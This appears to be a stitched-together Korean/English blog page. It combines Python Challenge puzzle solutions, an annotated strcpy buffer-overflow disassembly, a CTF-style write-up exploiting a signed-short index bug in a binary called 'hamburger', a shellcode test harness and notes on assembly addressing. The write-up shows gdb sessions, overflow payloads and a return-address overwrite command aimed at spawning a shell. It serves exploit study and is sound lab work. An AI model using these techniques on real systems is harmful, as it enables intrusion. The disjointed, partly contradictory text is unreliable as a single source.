Passion

http://www.pythonchallenge.com/pc/def/linkedlist.php

소스 보기를 하면 level4의 힌트가 적혀있다

urllib may help. DON'T TRY ALL NOTHINGS, since it will never end.
400 times is more than enough.

화면에 있는 그림을 클릭했더니 get 메소드로 nothing 이라는 값에12345를 넘겨주며 (<a href="linkedlist.php?nothing=12345">) nothing의 다음 값을 알려준다.

and the next nothing is 92512

이처럼 페이지에 나온 문자열을 정규표현식으로 파싱해서 nothing에 집어넣은후 계속 쿼리를 날려보았다.
중간 중간에 나오는 트릭에 대한 처리를 하면서  peak.html 이라고 나오는 것을 확인하였다.

http://www.pythonchallenge.com/pc/def/peak.html

import urllib
import re

def get_page(number):
	while 1:
		i = 0
	 	url = "http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=%s" % number
	 	f = urllib.urlopen(url)
		print url
		file = f.read()
		print file
		text = re.findall("next nothing is \d+",file)
		if text:
			text_last = text[0]
			number_list = re.findall("[0-9]+",text_last)
			number = ''
			while 1:
				number += number_list[i]
				i +=1
				if i == len(number_list): break
		else:
			text = re.findall("Yes", file)
			if text:
				number = 92118/2
			else:
				break
				
num = 12345
get_page(num) 

http://www.pythonchallenge.com/pc/def/equality.html

3번문제의 힌트는 아래와 같다. 소스를 살펴보면 level2 와 비슷하게 매우 긴 문자열을 볼 수 있다.

One small letter, surrounded by EXACTLY three big bodyguards on each of its sides

글자 그대로 해석하면 원하는 문자열은 XXXxXXX 형태일 것이다.  Forum에 올라온 힌트는 정규식을 이용
하라고 나와있다. 가깝고도 먼 그대.. 정규표현식T_T

[A-Z]{3}[a-z][A-Z]{3} 요런식으로 만들어서 매칭시켜보니 무려 477개나 되는 문자가
발견되었다. 힌트를 곰곰히 읽어보니 Exactly 가 유독 대문자로 써 있다. 이말은 대문자의 갯수가 정확히
3개 여야 한다는 뜻이다. 따라서 xXXXxXXXx 요런 형태로 다시 찾아보았다.

import re

str = """ ......................."""

keyword = re.findall("[a-z][A-Z]{3}[a-z][A-Z]{3}[a-z]",str)

i = 0
word = ''
temp = ''
length = len(keyword)
while 1:
         temp = keyword[i]
	word += temp[4]
	i+=1
	if i == length: break

print word

level 2 : http://www.pythonchallenge.com/pc/def/ocr.html
--------------------------------------------------------------------------
Hint :
recognize the characters. maybe they are in the book,
but MAYBE they are in the page source.
--------------------------------------------------------------------------
웹페이지의 소스를 보니  특수문자들로 보이는 엄청 긴 문자열이 있고

<!--
find rare characters in the mess below:
-->

라는 주석을 볼 수 있다.

특수 문자들 사이에 있는 알파릭 문자들을 뽑아내 보았다.

str = """%%$@_$^__#)^....."""

answer = ''i=0
while 1:
 if ord(str[i]) > 96 and ord(str[i]) < 123: answer += str[i]
 i+=1
 if i == len(str): break
print answer 

사이트 url은 이곳이며 level1은 여기를 클릭.

everybody thinks twice before solving this.

g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.

위와 같은 글귀와

K -> M
O -> Q
E -> G

라고 적혀진 노트를 볼 수 있다. 아스키 코드를 2씩 증가시키므로 

......
    word += chr(ord(txt[i])+ 2)
  i+=1
  if i == length : break
 return word

이런식으로 만들어서 디코딩을 해봤더니 아래와 같은 문장을 볼 수 있었다.
-----------------------------------------------------------------------------------------------
i hope you didnt translate it by hand. thats what computers are for. doing it in
 by hand is inefficient and that's why this text is so long. using string.maketr
ans() is recommended. now apply on the url
------------------------------------------------------------------------------------------------
그냥 끝내기가 멋적어서 string.maketrans를 써서 다시 만든 코드.

import string

def decode_str(txt):
 word = ''
 firstchar = string.uppercase + string.lowercase
 secondchar = '{'+'}'
 move_str1 = string.maketrans(firstchar, "CDEFGHIJKLMNOPQRSTUVWXYZ[\cdefghijklmnopqrstuvwxyz{}") 
 move_str2 = string.maketrans(secondchar,"ab")
 word = txt.translate(move_str1) 
 return word.translate(move_str2)

str = "g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj"
#str = "http://www.pythonchallenge.com/pc/def/map.html"

answer = ''
answer = decode_str(str)
print answer

Have you ever heard of jvon files !?


jvon 확장자라..들어본적 없다. 구글링을 해봐도 나오지 않았다; 
혹시나해서 ocr.html로 입력했더니 level2 페이지를 볼 수 있었다.

http://www.pythonchallenge.com/pc/def/ocr.html

 
Oops, sorry for late. 

0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0xa8,%esp                        extended 168
0x080483bd <main+9>:    and    $0xfffffff0,%esp
0x080483c0 <main+12>:   mov    $0x0,%eax                   
0x080483c5 <main+17>:   sub    %eax,%esp
0x080483c7 <main+19>:  cmpl   $0x1,0x8(%ebp)           agrc is at ebp+8
0x080483cb <main+23>:   jg     0x80483d9 <main+37>              if(agrc < 1)
0x080483cd <main+25>:   movl   $0x1,0xffffff74(%ebp)                return 1;
0x080483d7 <main+35>:   jmp    0x8048413 <main+95>
0x080483d9 <main+37>:   mov    0xc(%ebp),%eax            argv is at ebp+12
0x080483dc <main+40>:   add    $0x4,%eax                          address of argv + 4  means argv[1]
0x080483df <main+43>:   mov    (%eax),%eax                       eax = *argv[1]
0x080483e1 <main+45>:   mov    %eax,0x4(%esp)             
0x080483e5 <main+49>:   lea    0xffffff78(%ebp),%eax             eax = ebp-136 
0x080483eb <main+55>:   mov    %eax,(%esp)                
0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt>         so call strcpy(ebp-136, argv[1])
0x080483f3 <main+63>:   lea    0xffffff78(%ebp),%eax       
0x080483f9 <main+69>:   mov    %eax,0x4(%esp)
0x080483fd <main+73>:   movl   $0x8048524,(%esp)
0x08048404 <main+80>:   call   0x80482b4 <printf@plt>          printf("%s", ebp-136)
0x08048409 <main+85>:   movl   $0x0,0xffffff74(%ebp)       
0x08048413 <main+95>:   mov    0xffffff74(%ebp),%eax         return 0;
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret

Have you checked the stack in gdb? I can`t see [?3] in disassembled code.
Stack looks like this IMAO.

   ----------
   argv            ebp + 0C
   ----------
   argc            ebp + 8
   ----------
   return address  ebp + 4
   ----------
   ebp         
   ----------
   dummy          8bytes
   ----------
   buf            128byes
   ----------
 
Stack was extened 168 bytes, but it only uses 140bytes.
(dunno why extened 168bytes. i think that it`s up to the version of compiler, or something else. :$)

hamburger 를 실행해 보았다.

cpy도 살펴보자.

대략적인 흐름은 다음과 같다.

argv[1]으로 입력되는 string 의 크기는 32767을 넘을 수 없으며 ebp-800d 로 복사된다.
argv[2]인 offset 은 입력된 string의 index로 사용된다.
argv[3]인 value는 입력한 값을 스트링의 특정 인덱스에 집어넣는다.

여기서 offset과 value는 값을 검사하는 루틴이 없으므로 이 값들을 조작해서 shell을 획득하는 것이
가능하지 않을까 싶다.

gdb) b *0x08048516
Breakpoint 1 at 0x8048516
(gdb) r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
Starting program: /home/juliaa/share/codegate/hamburger `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`

cpy 함수의 leave 에 bp를 걸고 r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'` 로 실행 시킨후
bp에 걸린 상태에서 스택을 살펴보았다.

Breakpoint 1, 0x08048516 in cpy ()
Current language:  auto; currently asm
(gdb) info $esp
Undefined info command: "$esp".  Try "help info".
(gdb) info reg
eax            0x0 0
ecx            0x0 0
edx            0xbfae0fbf -1079111745
ebx            0xb80bdff4 -1207181324
esp            0xbfae0f84 0xbfae0f84
ebp            0xbfae0f98 0xbfae0f98
esi            0x8048670 134514288
edi            0x8048440 134513728
eip            0x8048516 0x8048516 <cpy+34>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/16x $esp
0xbfae0f84: 0xb80e0004 0x00007fff   0xb7fdcb70  0xbfae0fbb
0xbfae0f94: 0xbfae0fbf   0xbfae8fc8  0x08048637 0xbfae0fbb
0xbfae0fa4: 0x00000004 0x00000000 0xbfae8fe0  0x00000000
0xbfae0fb4: 0x00000000 0x41000000 0x00414141 0x41000000

붉은 색 부분이 ebp 이며 ebp+8 에 있는 첫번째 아규먼트의 주소 0xbfae0fbb 를 볼 수 있다.
ebp -0x14에는 argv[2]의 값이 옮겨진 0xb8e0004 가 있으며,
ebp -4 에는 0xbfae0fbb + 04 를 한 0xbfae0fbf 가 위치해 있다.

생각한대로 동작하는것을 알 수 있지만

80484fd: 66 89 45 ec           mov    %ax,-0x14(%ebp)

argv[2]의 값이 옮겨지는  부분에서 eax레지스터의 16비트만 사용하는 부분이 눈에 띄었다. short 형 변수로 받는게 아닌가 싶어서 argv[2]를 바꿔가며 입력해보았다.

----------------------------------------------------------------------------
32767      ebp+8     bffd9d1b      두값의 차이 +7FFFF
              ebp-4     bffe1d1a

32768       bfe13b4b       -8000
               bfe0bb4b

32769       bfa6afab       -7FFF
               bfa62fac

32770      bfbe391b       -7FFE
              bfbdb91d

.....

65534      bfdfb33b         -2
              bfdfb339

65535      bfe0133b         -1
              bfe0133a

65536       bfa57f9b          0
               bfa57f9b

65537       bfa76fbb          1
               bfa76fbc
---------------------------------------------------------------------

위와같이 32767 보다 큰 값을 입력 하였을때 음수로 바뀌는 것으로 미루어 signed short 형 변수를 사용하는 것으로 생각 할 수 있다.
(32비트 시스템에서 보통 signed short는 ~32768~32767 까지 나타낼 수 있다. )
이 것이 바로 이 프로그램의 취약점이 아닌가 싶다.

스택을 살펴보니 main 함수의 리턴어드레스는 argv[1]이 복사된 주소 ebp-800d 부터 7FFF 이상 떨어져  있으므로 접근할 수 없다.  가까운 cpy의 return address를 건드려보자. 

cpy함수의 코드를 다시 보면

 80484fd: 66 89 45 ec    mov   %ax,-0x14(%ebp)    
 8048501: 8b 55 08       mov    0x8(%ebp),%edx               
 8048504: 0f bf 45 ec    movswl -0x14(%ebp),%eax         
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax
 804850b: 89 45 fc        mov    %eax,-0x4(%ebp)     

ebp+8 에 첫번째 인자, ebp-800d의 주소가 들어있으며 이 주소에 인덱스(argv[2])를 더한 주소를
ebp -4 에 넣는다. 

-----------------
ebp + 8    -   argv[1]
-----------------
ebp + 4    -   return address
-----------------
ebp 
-----------------
ebp -4        [argv[1] + argv[2]]
_________________

프로그램을 실행할때마다  스택의 주소는 바뀌지만 스택에서의 옵셋은 똑같다. 결국 ebp -4에 들어가는
 값을 return address와 같도록 만들 수 있다는 뜻이다.  실행값을 바꿔가면서 넣어본 결과  cpy의 return
address의 주소는 ebp+8 의 주소보다 0x1F 만큼 작다는 것을 확인할 수 있었다.
(65505를 입력했을때 ebp + 4의 값이  1111(0x00000457)로 바뀌어 있는 것을 볼 수 있다.)

 
이제 return address를 바꿀 수 있다. 3번째 인자의 값으로 환경변수에 띄운 쉘코드의 주소를 넣고
실행해봤더니 쉘이 실행되지 않았다..

최대 7FFFFFFF 까지만 들어가기 때문이었다. 이것 역시 -1로 값을 넣어서  FFFFFFFF로 들어가서 원하는 값을
넣을 수 있었다.

최종적으로 아래와 같이 입력하였더니 segmentation fault 가 발생하였다.

./hamburger AAAA 65505 -1079758970

에러가 발생하는 이유는 eggshell을 띄운 환경변수의 주소를 eip가 정상적으로 가리키고 있지만
그 주소의 값을 실행시키지 못하는것 같았다. gdb에서 주소의 값을 보려고 해도 

Cannot access memory at address 0xbfxxxxxx  처럼 접근할 수 없다는 메세지가 나온다.

--------------------------------------------------------------------------
stack의 실행권한을 확인해 보았다. 실행권한이 빠져있다.

현재 프로세스의 stack의 실행권한은 아래와 같다. 모든권한이 주어져있다.

My english is quite bad. :(  I hope you understand me.

U can change the excutive flow by overwriting some func`s return address with your own code.
So basic BoF needs 2 points. Return address and shellcode`s one.

1.Check the program`s stack layout. usually EBP + 4 is Return address.
  esp is the edge of the stack. (ex. In GDB, by typing "X/16x $esp", u can see stack)

2. I made it.

3. Actually, the first line is shellcode.
  "\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x..."
   Let`s look below the line
 
     void main()
{
        int *ret;             //declare variable        
       
         ret =(int *)&ret + 2;

        // &ret means ret`s address and casted to integer point
        // so "+2" ---> "+(int *)x2" -------> "+(4bytes)x2" = "+8bytes."
        // Think it as stack
       
high address
          --------------
           return address   +8
         --------------
                  ebp              +4
         --------------
                  ret               here is ret        
         ---------------
low address

        // U got it? It overwrites Main function`s return address.

        *ret = shell;
       
        // return address is pointed by ret. so shellcode will be excuted.
}

 This source is just for test that shellcode is whether to work or not.

아래의 코드는 어느 바이너리의 특정 함수를 objdump 로 디스어셈블한 것이다.

GAS: movb (%ebx, %esi, 1), %al

이런 방식은 기본 색인 주소 지정 모드다. 여기서 구성요소가 세 개 등장한다. 첫째는 기본 주소, 둘째는 색인 레지스터, 셋째는 승수(乘數)다. 메모리 위치에서 접근하는 바이트 숫자를 결정하기란 불가능하므로 주소를 지정한 메모리 총량을 찾아내기 위한 방법이 필요하다. NASM은 byte 연산자를 사용해 자료에서 한 바이트가 이동했음을 어셈블러에 알려준다. GAS에서는 니모닉에 b, w, l 접미사를 붙이는(예를 들어, movb) 동시에 승수를 사용해 이런 문제를 해결한다. 처음 보면 GAS 구문이 좀더 복잡해보일 수도 있다.

GAS에서 일반적인 기본 색인 주소 지정 형식은 다음과 같다.

%segment:ADDRESS (, index, multiplier)

또는

%segment:(offset, index, multiplier)

또는

%segment:ADDRESS(base, index, multiplier)

이 공식을 사용해 최종 주소를 계산한다.

ADDRESS or offset + base + index * multiplier.

따라서 바이트에 접근하려면 승수는 1이 되며, 워드에 접근하려면 승수는 2가 되며, 더블 워드에 접근하려면 승수가 4가 되어야 한다. 물론 NASM은 좀더 단순한 구문을 사용한다. 따라서 NASM으로 상기 공식을 풀어쓰면 다음과 같다.

Segment:[ADDRESS or offset + index * multiplier]

각각 메모리 1, 2, 4 바이트에 접근하도록 byte, word, dword 접두사를 메모리 주소 앞에 표시한다.